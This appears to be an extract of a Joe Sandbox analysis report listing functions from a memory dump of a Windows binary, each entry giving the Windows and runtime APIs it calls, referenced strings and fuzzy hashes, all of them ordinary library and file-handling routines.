Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 98f895654b64cd1d2f90e97d30244ed9b67d31cc2014a88c355cd353264df31a
Instruction ID: 59fe77b2c3f80574b156fdb07d595aa7717d691807250185b9b5282ff6b33e81
Opcode Fuzzy Hash: 98f895654b64cd1d2f90e97d30244ed9b67d31cc2014a88c355cd353264df31a
Instruction Fuzzy Hash: A121C721D49E4780FB11CB1AF8441B56BA1BBE9B84F540536F96DC7AA0EE7CE598C340

Function 00007FF6FE1BBFB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6FE1BBFD0
GetProcAddress.KERNEL32 ref: 00007FF6FE1BBFE6
FreeLibrary.KERNEL32 ref: 00007FF6FE1BC00B

Strings

CorExitProcess, xrefs: 00007FF6FE1BBFDF
mscoree.dll, xrefs: 00007FF6FE1BBFC7

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 42a4ca90c7c49dddb16080121233970ff8583544d2054868cb5f0899d871e2db
Instruction ID: c294e7460a81135d88cb1f8ed47aecf03f74b10179ccb13ec7c3d4eb2a6c8700
Opcode Fuzzy Hash: 42a4ca90c7c49dddb16080121233970ff8583544d2054868cb5f0899d871e2db
Instruction Fuzzy Hash: 1FF04F65F19A8281EF44CB16E4902B96BA0AFD8B90F441035F96FC67A4EE3CE485C701

Function 00007FF6FE1C45C0 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1C4605

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cf462e6f26ae3af6f96c078c51b53c82231ed120809331cf2f591469c69a5a17
Instruction ID: a6c0e886ad960f00975ef6fdcc5f295759abff38f9d90d640d9d8c3e5e293f76
Opcode Fuzzy Hash: cf462e6f26ae3af6f96c078c51b53c82231ed120809331cf2f591469c69a5a17
Instruction Fuzzy Hash: 3581AD22F1C65285F710DB6A98406FD2EA4BBE5B88F044135ED2ED3AD5EF3CA4A1C700

Function 00007FF6FE193AF8 Relevance: 7.7, APIs: 5, Instructions: 164filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6FE193BBB
CreateFileW.KERNEL32 ref: 00007FF6FE193C24
SetFileTime.KERNEL32 ref: 00007FF6FE193CEC
CloseHandle.KERNEL32 ref: 00007FF6FE193CF6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE193D2C

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: 82f053c75c0f85402010483eccdcf8e864613be84fe09434e6a81e38387e2611
Instruction ID: 0726182a5c21a7d772d3e61e39df9c0ca52ac2f1d1b5a33d633d3f3430df804f
Opcode Fuzzy Hash: 82f053c75c0f85402010483eccdcf8e864613be84fe09434e6a81e38387e2611
Instruction Fuzzy Hash: D4519262F14A4259FB50CB66E8442BD6BB1BBE87A8F404635EE2DC77D8EE389455C300

Function 00007FF6FE1C3F34 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6FE1C4767), ref: 00007FF6FE1C3F91
WideCharToMultiByte.KERNEL32 ref: 00007FF6FE1C406D
WriteFile.KERNEL32 ref: 00007FF6FE1C4093
WriteFile.KERNEL32 ref: 00007FF6FE1C40D2
GetLastError.KERNEL32 ref: 00007FF6FE1C410A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 8f90b3f8899b92826fb288bc35eb601c263b89b4fb676f823db5d062d6f6b41f
Instruction ID: 46d92527c869bb15e92cd3b16aa59d6cc49e66b5fdaa366e8f3f9282b9a6f7ba
Opcode Fuzzy Hash: 8f90b3f8899b92826fb288bc35eb601c263b89b4fb676f823db5d062d6f6b41f
Instruction Fuzzy Hash: 44518F32F18A5185E710CB6AD4443ED7BB1BBA8798F048135EE5E97A98EF38E156C700

Function 00007FF6FE1B1E00 Relevance: 7.6, APIs: 5, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FE194DF4), ref: 00007FF6FE1B1E87
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FE194DF4), ref: 00007FF6FE1B1F09
SysAllocString.OLEAUT32 ref: 00007FF6FE1B1F16

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: b7eca4d0914b4f3ce7b9457829877c74e6e00994a5cd88f9d96bed53318f8e63
Instruction ID: 6c6e3ddcd5fd53b680b087ddd745aea5c36fba74efe3550d41c17d4d1fc9dd86
Opcode Fuzzy Hash: b7eca4d0914b4f3ce7b9457829877c74e6e00994a5cd88f9d96bed53318f8e63
Instruction Fuzzy Hash: 5F41C021F0964689FB14DF2794402B92A91EFA8BA8F154636FA7DC7BD5EF3CE1418300

Function 00007FF6FE1BF414 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6FE1BF536

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction ID: 97dc526d5362932d3f1aafbdfdd23739820beed5914e92b97994abafc17c48f0
Opcode Fuzzy Hash: d8da239e760e4119be076ce5ae60c5d71a4e7276355522d8061e2664917ecd9d
Instruction Fuzzy Hash: 49418062F09A4281FB25DF17A8046766A96BBA8B90F194535ED3ECB7C4FE3CE440C300

Function 00007FF6FE1C56D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6FE1C56FF
_set_statfp.LIBCMT ref: 00007FF6FE1C571A
_set_statfp.LIBCMT ref: 00007FF6FE1C5736
_set_statfp.LIBCMT ref: 00007FF6FE1C5772

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: 298c8e9bfab06b0713efa80dc6e257825d81d94e654d9ac11445185202402db5
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: 82116D76F18B0781F754912EE5463F91941BFF53A0E884234FA7ECA6D6BE2CA4C04205

Function 00007FF6FE1AFE24 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00007FF6FE1AFE41
GetMessageW.USER32 ref: 00007FF6FE1AFE58
TranslateMessage.USER32 ref: 00007FF6FE1AFE63
DispatchMessageW.USER32 ref: 00007FF6FE1AFE6E
WaitForSingleObject.KERNEL32 ref: 00007FF6FE1AFE7C

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction ID: ae87fd68a75ee72884571eb809a0e94011dd11e526a44000cbebd07b2fb08fda
Opcode Fuzzy Hash: eb57a341668d454e4e6cd52f39bb1811463ddcab187ea95c48cb89abc8d18535
Instruction Fuzzy Hash: AFF0FF21F2894682F750D722E895A762651FFF4B05F441430F55EC19D4AE2CE589CB01

Function 00007FF6FE1B625C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FE1B6286
abort.LIBCMT ref: 00007FF6FE1B64EA

Strings

csm, xrefs: 00007FF6FE1B62AB
csm, xrefs: 00007FF6FE1B641A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction ID: fb8f50a45f59ecbf5d7bdc35105d5bb87fb3e267df9febfb0ef6e0f1aa567481
Opcode Fuzzy Hash: 91fc108a1c492767e4bb41002f60c2920875b1ec76e01922ab372504797a4c8e
Instruction Fuzzy Hash: B371A072E08A9186D760CF26945077D7FA0EBA5B88F148135EA5C8BBC9EF3CD495C740

Function 00007FF6FE1B80F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1B811B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1B82ED

Strings

, xrefs: 00007FF6FE1B8276
*, xrefs: 00007FF6FE1B8221

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 42643a1ee39b50d27a50b926b179a62c0cdc4d381fe14b17104e750277292b9f
Instruction ID: c2b24b8356bc50ec0873c24eb6cfebf5210a86abc8c716a4bfe2840e73f44ea9
Opcode Fuzzy Hash: 42643a1ee39b50d27a50b926b179a62c0cdc4d381fe14b17104e750277292b9f
Instruction Fuzzy Hash: 93516072D1DA428AE768CE2A844537C3FA0FBA5F18F181175E66A813D9EF3CE481C605

Function 00007FF6FE1C1758 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6FE1C17CB
MultiByteToWideChar.KERNEL32 ref: 00007FF6FE1C1894
GetStringTypeW.KERNEL32 ref: 00007FF6FE1C18AE

Strings

$%s, xrefs: 00007FF6FE1C175A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: 8174e861c2faa6f2f7f5292a0ee7474812abc1109b8acb2517e9a7bc716d8d39
Instruction ID: 20afcdede170eb952a539786318fc66027baccefac4cfb52f9a080ac33a41d98
Opcode Fuzzy Hash: 8174e861c2faa6f2f7f5292a0ee7474812abc1109b8acb2517e9a7bc716d8d39
Instruction Fuzzy Hash: 36418722F5978145FB61CF2AD8002E966A1FBA4BA8F444636EE2DC77C5EF3CE4458300

Function 00007FF6FE1B66A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1B5210: abort.LIBCMT ref: 00007FF6FE1B5223

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FE1B674A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6FE1B6776

Strings

csm, xrefs: 00007FF6FE1B6876

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction ID: 221f4ebd8f719c965ff71bb06d031f5c3a3508714e724436d277089381a3d905
Opcode Fuzzy Hash: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction Fuzzy Hash: 1A513B76E1974186D720EB57E04126E7BA4FBD9B90F140534EB9D87B96EF38E4A0CB00

Function 00007FF6FE1C4360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6FE1C4446
WriteFile.KERNEL32 ref: 00007FF6FE1C4479
GetLastError.KERNEL32 ref: 00007FF6FE1C449B

Strings

U, xrefs: 00007FF6FE1C4424

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction ID: 242132a72db69a8d8fd46edf2ada8c202bc538cfc2a0e79451a2fa27bab4f776
Opcode Fuzzy Hash: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction Fuzzy Hash: 6D419122B18A8182EB20CF2AE4443A96B61FBE8794F544131FE5DC7B94EF7CD455C740

Function 00007FF6FE1A90B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6FE1A90D9
GetObjectW.GDI32 ref: 00007FF6FE1A9107
ReleaseDC.USER32 ref: 00007FF6FE1A91BB

Strings

, xrefs: 00007FF6FE1A9153

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 0b5772d91688d342ea342be5c9c3c9ea07a5ad9e93d570546deb1a9808731c40
Instruction ID: 83a1bb13cd6ec3d429e49c06f9a24805d6eca3c7012849bdd716dd94d04b790a
Opcode Fuzzy Hash: 0b5772d91688d342ea342be5c9c3c9ea07a5ad9e93d570546deb1a9808731c40
Instruction Fuzzy Hash: F7310A35B08B4286DB08DF13BC1862A7B61F799BD1F404435FD5A83B98DE7CE4498B00

Function 00007FF6FE19E870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,?,00007FF6FE1A317F,?,?,00001000,00007FF6FE18E51D), ref: 00007FF6FE19E8BB
CreateSemaphoreW.KERNEL32(?,?,?,00007FF6FE1A317F,?,?,00001000,00007FF6FE18E51D), ref: 00007FF6FE19E8CB
CreateEventW.KERNEL32(?,?,?,00007FF6FE1A317F,?,?,00001000,00007FF6FE18E51D), ref: 00007FF6FE19E8E4

Strings

Thread pool initialization failed., xrefs: 00007FF6FE19E900

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 6610cce2f1ff4f40d78c24fcbab0d777ace7136147ab701da82aad1b7a389e44
Instruction ID: 9a5074e30995db1ae5f4d7d084f6961591b0adb41fc92e2b6b6fb792ddb63f55
Opcode Fuzzy Hash: 6610cce2f1ff4f40d78c24fcbab0d777ace7136147ab701da82aad1b7a389e44
Instruction Fuzzy Hash: 9421D832F1564186F710CF26D4847ED3AD2EBE4B08F188034EA2D8A2D5EF7EA445C780

Function 00007FF6FE1A85E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6FE1A85EC
GetDeviceCaps.GDI32 ref: 00007FF6FE1A85FD
ReleaseDC.USER32 ref: 00007FF6FE1A860A

Strings

, xrefs: 00007FF6FE1A8610

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
